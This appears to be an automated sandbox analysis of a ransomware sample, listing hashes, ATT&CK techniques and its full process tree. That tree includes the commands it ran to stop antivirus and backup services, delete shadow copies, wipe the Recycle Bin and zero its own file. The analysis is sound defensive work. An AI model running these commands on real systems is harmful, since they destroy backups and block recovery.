83e2ba9faf075547be65d2b6dbd13e190a0b1c1cf626788cb756ab7a3c770dcb

General

Target

admin.exe
Size

63KB
MD5

ae776cbf46e5d71831c0d0d6c37b3bbf
SHA1

3ee387589ef93afe4ed2609c0c242e29f5d164b4
SHA256

83e2ba9faf075547be65d2b6dbd13e190a0b1c1cf626788cb756ab7a3c770dcb
SHA512

486d0ce8e49b1ab0fd6a56d6982abad8661c35fb27343a623c7a58bf1f5a74ccff3a954d02e9713d501bb72e9dac829f459cad2f1b3cc225ce052568ee3785ee

Score

9^/10

ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 9 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

admin.exe

description	ioc	process
File created	C:\Users\Admin\Pictures\GrantFind.png.locked	admin.exe
File created	C:\Users\Admin\Pictures\RenameTest.raw.locked	admin.exe
File opened for modification	C:\Users\Admin\Pictures\InitializeConvert.tiff	admin.exe
File created	C:\Users\Admin\Pictures\ReadRegister.tiff.locked	admin.exe
File opened for modification	C:\Users\Admin\Pictures\ReadRegister.tiff	admin.exe
File created	C:\Users\Admin\Pictures\SyncOpen.png.locked	admin.exe
File created	C:\Users\Admin\Pictures\TraceStop.raw.locked	admin.exe
File created	C:\Users\Admin\Pictures\GetFind.png.locked	admin.exe
File created	C:\Users\Admin\Pictures\InitializeConvert.tiff.locked	admin.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2348 cmd.exe
Drops startup file 1 IoCs

Processes:

admin.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk admin.exe
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
2348	cmd.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	admin.exe

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
2316	vssadmin.exe
2444	vssadmin.exe
2584	vssadmin.exe
2272	vssadmin.exe
2364	vssadmin.exe
2424	vssadmin.exe
2472	vssadmin.exe
2520	vssadmin.exe
2552	vssadmin.exe
2248	vssadmin.exe
2184	vssadmin.exe
2296	vssadmin.exe
2400	vssadmin.exe
2560	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

1864 taskkill.exe
988 taskkill.exe
2128 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

2540 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2520 PING.EXE

pid	process
1864	taskkill.exe
988	taskkill.exe
2128	taskkill.exe

pid	process
2540	notepad.exe

pid	process
2520	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

admin.exe

pid	process
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe
1948	admin.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

admin.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	1948	admin.exe
Token: SeDebugPrivilege	988	taskkill.exe
Token: SeDebugPrivilege	1864	taskkill.exe
Token: SeDebugPrivilege	2128	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

admin.exe

pid process

1948 admin.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

admin.exe

pid process

1948 admin.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

admin.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 1948 wrote to memory of 1308	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1308	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1308	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1308	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1340	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1340	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1340	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1340	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1992	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1992	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1992	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1992	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1980	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1980	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1980	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1980	1948	admin.exe	net.exe
PID 1948 wrote to memory of 760	1948	admin.exe	net.exe
PID 1948 wrote to memory of 760	1948	admin.exe	net.exe
PID 1948 wrote to memory of 760	1948	admin.exe	net.exe
PID 1948 wrote to memory of 760	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1504	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1504	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1504	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1504	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1628	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1628	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1628	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1628	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1776	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1776	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1776	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1776	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1720	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1720	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1720	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1720	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1760	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1760	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1760	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1760	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1696	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1696	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1696	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1696	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1560	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1560	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1560	1948	admin.exe	net.exe
PID 1948 wrote to memory of 1560	1948	admin.exe	net.exe
PID 760 wrote to memory of 316	760	net.exe	net1.exe
PID 760 wrote to memory of 316	760	net.exe	net1.exe
PID 760 wrote to memory of 316	760	net.exe	net1.exe
PID 760 wrote to memory of 316	760	net.exe	net1.exe
PID 1776 wrote to memory of 1016	1776	net.exe	net1.exe
PID 1776 wrote to memory of 1016	1776	net.exe	net1.exe
PID 1776 wrote to memory of 1016	1776	net.exe	net1.exe
PID 1776 wrote to memory of 1016	1776	net.exe	net1.exe
PID 1720 wrote to memory of 1520	1720	net.exe	net1.exe
PID 1720 wrote to memory of 1520	1720	net.exe	net1.exe
PID 1720 wrote to memory of 1520	1720	net.exe	net1.exe
PID 1720 wrote to memory of 1520	1720	net.exe	net1.exe
PID 1504 wrote to memory of 296	1504	net.exe	net1.exe
PID 1504 wrote to memory of 296	1504	net.exe	net1.exe
PID 1504 wrote to memory of 296	1504	net.exe	net1.exe
PID 1504 wrote to memory of 296	1504	net.exe	net1.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

admin.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	admin.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	admin.exe

C:\Users\Admin\AppData\Local\Temp\admin.exe
"C:\Users\Admin\AppData\Local\Temp\admin.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1948

C:\Windows\SysWOW64\net.exe
"net.exe" stop avpsus /y
2⤵
PID:1308

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop avpsus /y
3⤵
PID:1848

C:\Windows\SysWOW64\net.exe
"net.exe" stop McAfeeDLPAgentService /y
2⤵
PID:1340

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
3⤵
PID:1036

C:\Windows\SysWOW64\net.exe
"net.exe" stop mfewc /y
2⤵
PID:1992

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfewc /y
3⤵
PID:544

C:\Windows\SysWOW64\net.exe
"net.exe" stop BMR Boot Service /y
2⤵
PID:1980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BMR Boot Service /y
3⤵
PID:788

C:\Windows\SysWOW64\net.exe
"net.exe" stop NetBackup BMR MTFTP Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
3⤵
PID:316

C:\Windows\SysWOW64\net.exe
"net.exe" stop DefWatch /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
3⤵
PID:296

C:\Windows\SysWOW64\net.exe
"net.exe" stop ccEvtMgr /y
2⤵
PID:1628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
3⤵
PID:1000

C:\Windows\SysWOW64\net.exe
"net.exe" stop ccSetMgr /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
3⤵
PID:1016

C:\Windows\SysWOW64\net.exe
"net.exe" stop SavRoam /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
3⤵
PID:1520

C:\Windows\SysWOW64\net.exe
"net.exe" stop RTVscan /y
2⤵
PID:1760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
3⤵
PID:872

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBFCService /y
2⤵
PID:1696

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
3⤵
PID:788

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBIDPService /y
2⤵
PID:1560

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
3⤵
PID:1720

C:\Windows\SysWOW64\net.exe
"net.exe" stop Intuit.QuickBooks.FCS /y
2⤵
PID:1912

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
3⤵
PID:2176

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBCFMonitorService /y
2⤵
PID:1028

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
3⤵
PID:572

C:\Windows\SysWOW64\net.exe
"net.exe" stop YooBackup /y
2⤵
PID:620

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
3⤵
PID:2068

C:\Windows\SysWOW64\net.exe
"net.exe" stop zhudongfangyu /y
2⤵
PID:288

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
3⤵
PID:2092

C:\Windows\SysWOW64\net.exe
"net.exe" stop YooIT /y
2⤵
PID:684

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooIT /y
3⤵
PID:1000

C:\Windows\SysWOW64\net.exe
"net.exe" stop VSNAPVSS /y
2⤵
PID:1968

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
3⤵
PID:1752

C:\Windows\SysWOW64\net.exe
"net.exe" stop stc_raw_agent /y
2⤵
PID:972

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
3⤵
PID:1760

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamTransportSvc /y
2⤵
PID:1796

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
3⤵
PID:2108

C:\Windows\SysWOW64\net.exe
"net.exe" stop veeam /y
2⤵
PID:2040

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop veeam /y
3⤵
PID:2100

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamNFSSvc /y
2⤵
PID:1588

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
3⤵
PID:2156

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamDeploymentService /y
2⤵
PID:1048

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
3⤵
PID:2084

C:\Windows\SysWOW64\net.exe
"net.exe" stop PDVFSService /y
2⤵
PID:856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
3⤵
PID:2076

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecVSSProvider /y
2⤵
PID:948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
3⤵
PID:2196

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecAgentBrowser /y
2⤵
PID:1668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
3⤵
PID:2212

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecAgentAccelerator /y
2⤵
PID:1704

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
3⤵
PID:2204

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecDiveciMediaService /y
2⤵
PID:1640

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
3⤵
PID:2220

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecJobEngine /y
2⤵
PID:1300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
3⤵
PID:2232

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecManagementService /y
2⤵
PID:1296

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
3⤵
PID:2356

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecRPCService /y
2⤵
PID:1100

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
3⤵
PID:2608

C:\Windows\SysWOW64\net.exe
"net.exe" stop AcrSch2Svc /y
2⤵
PID:1016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
3⤵
PID:2388

C:\Windows\SysWOW64\net.exe
"net.exe" stop AcronisAgent /y
2⤵
PID:1776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
3⤵
PID:2512

C:\Windows\SysWOW64\net.exe
"net.exe" stop CASAD2DWebSvc /y
2⤵
PID:1596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
3⤵
PID:2616

C:\Windows\SysWOW64\net.exe
"net.exe" stop CAARCUpdateSvc /y
2⤵
PID:292

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
3⤵
PID:2600

C:\Windows\SysWOW64\net.exe
"net.exe" stop sophos /y
2⤵
PID:1488

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophos /y
3⤵
PID:2692

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SQLTELEMETRY start= disabled
2⤵
PID:1732

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
2⤵
PID:432

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SQLWriter start= disabled
2⤵
PID:308

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SstpSvc start= disabled
2⤵
PID:1748

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mspub.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1864

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mydesktopqos.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:988

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /IM mydesktopservice.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2128

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:2184

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:2248

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:2272

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:2296

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:2316

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:2364

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:2400

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:2424

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:2444

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:2472

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:2520

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:2560

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:2552

C:\Windows\SysWOW64\vssadmin.exe
"vssadmin.exe" Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:2584

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
2⤵
PID:2740

C:\Windows\SysWOW64\notepad.exe
"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
2⤵
- Opens file in notepad (likely ransom note)
PID:2540

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\admin.exe
2⤵
- Deletes itself
PID:2348

C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:2468

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
2⤵
PID:2184

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.7 -n 3
3⤵
- Runs ping.exe
PID:2520

C:\Windows\SysWOW64\fsutil.exe
fsutil file setZeroData offset=0 length=524288 “%s”
3⤵
PID:984

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

2

T1107

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

2

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
MD5
4ba5aa5669a24362367192d751b7a597

SHA1
9beefe08e32db6e3efb3d1973fb29c4d5b8fa266

SHA256
72550c492cc6e8d8dbb03ce554e77d5a94d39ebbc6af3f19b3d09da975f4959c

SHA512
b5a81444ebd0530930dd99b164285a82e79064806e07519693aa286b2a539fd7260ac87e730a3ac6085f581b556fa8e6c72bce9d3516b27c52aef00c9617c3ed

Download Submit
memory/288-84-0x0000000000000000-mapping.dmp

Download
memory/292-104-0x0000000000000000-mapping.dmp

Download
memory/296-78-0x0000000000000000-mapping.dmp

Download
memory/308-108-0x0000000000000000-mapping.dmp

Download
memory/316-74-0x0000000000000000-mapping.dmp

Download
memory/432-107-0x0000000000000000-mapping.dmp

Download
memory/544-114-0x0000000000000000-mapping.dmp

Download
memory/620-82-0x0000000000000000-mapping.dmp

Download
memory/684-83-0x0000000000000000-mapping.dmp

Download
memory/760-66-0x0000000000000000-mapping.dmp

Download
memory/788-126-0x0000000000000000-mapping.dmp

Download
memory/788-79-0x0000000000000000-mapping.dmp

Download
memory/856-91-0x0000000000000000-mapping.dmp

Download
memory/872-93-0x0000000000000000-mapping.dmp

Download
memory/948-92-0x0000000000000000-mapping.dmp

Download
memory/972-85-0x0000000000000000-mapping.dmp

Download
memory/988-112-0x0000000000000000-mapping.dmp

Download
memory/1000-99-0x0000000000000000-mapping.dmp

Download
memory/1016-76-0x0000000000000000-mapping.dmp

Download
memory/1016-101-0x0000000000000000-mapping.dmp

Download
memory/1028-81-0x0000000000000000-mapping.dmp

Download
memory/1036-111-0x0000000000000000-mapping.dmp

Download
memory/1048-88-0x0000000000000000-mapping.dmp

Download
memory/1100-100-0x0000000000000000-mapping.dmp

Download
memory/1296-98-0x0000000000000000-mapping.dmp

Download
memory/1300-97-0x0000000000000000-mapping.dmp

Download
memory/1308-62-0x0000000000000000-mapping.dmp

Download
memory/1340-63-0x0000000000000000-mapping.dmp

Download
memory/1488-105-0x0000000000000000-mapping.dmp

Download
memory/1504-67-0x0000000000000000-mapping.dmp

Download
memory/1520-77-0x0000000000000000-mapping.dmp

Download
memory/1560-73-0x0000000000000000-mapping.dmp

Download
memory/1588-89-0x0000000000000000-mapping.dmp

Download
memory/1596-103-0x0000000000000000-mapping.dmp

Download
memory/1628-68-0x0000000000000000-mapping.dmp

Download
memory/1640-96-0x0000000000000000-mapping.dmp

Download
memory/1668-95-0x0000000000000000-mapping.dmp

Download
memory/1696-72-0x0000000000000000-mapping.dmp

Download
memory/1704-94-0x0000000000000000-mapping.dmp

Download
memory/1720-70-0x0000000000000000-mapping.dmp

Download
memory/1732-106-0x0000000000000000-mapping.dmp

Download
memory/1748-109-0x0000000000000000-mapping.dmp

Download
memory/1760-71-0x0000000000000000-mapping.dmp

Download
memory/1776-102-0x0000000000000000-mapping.dmp

Download
memory/1776-69-0x0000000000000000-mapping.dmp

Download
memory/1796-87-0x0000000000000000-mapping.dmp

Download
memory/1848-116-0x0000000000000000-mapping.dmp

Download
memory/1864-110-0x0000000000000000-mapping.dmp

Download
memory/1912-80-0x0000000000000000-mapping.dmp

Download
memory/1948-60-0x00000000008F0000-0x00000000008F1000-memory.dmp

Filesize
4KB

Download
memory/1948-75-0x0000000002070000-0x0000000002071000-memory.dmp

Filesize
4KB

Download
memory/1968-86-0x0000000000000000-mapping.dmp

Download
memory/1980-65-0x0000000000000000-mapping.dmp

Download
memory/1992-64-0x0000000000000000-mapping.dmp

Download
memory/2040-90-0x0000000000000000-mapping.dmp

Download
memory/2128-113-0x0000000000000000-mapping.dmp

Download
memory/2184-115-0x0000000000000000-mapping.dmp

Download
memory/2248-117-0x0000000000000000-mapping.dmp

Download
memory/2272-118-0x0000000000000000-mapping.dmp

Download
memory/2296-119-0x0000000000000000-mapping.dmp

Download
memory/2316-120-0x0000000000000000-mapping.dmp

Download
memory/2364-121-0x0000000000000000-mapping.dmp

Download
memory/2400-122-0x0000000000000000-mapping.dmp

Download
memory/2424-123-0x0000000000000000-mapping.dmp

Download
memory/2444-124-0x0000000000000000-mapping.dmp

Download
memory/2472-125-0x0000000000000000-mapping.dmp

Download
memory/2540-127-0x0000000075511000-0x0000000075513000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads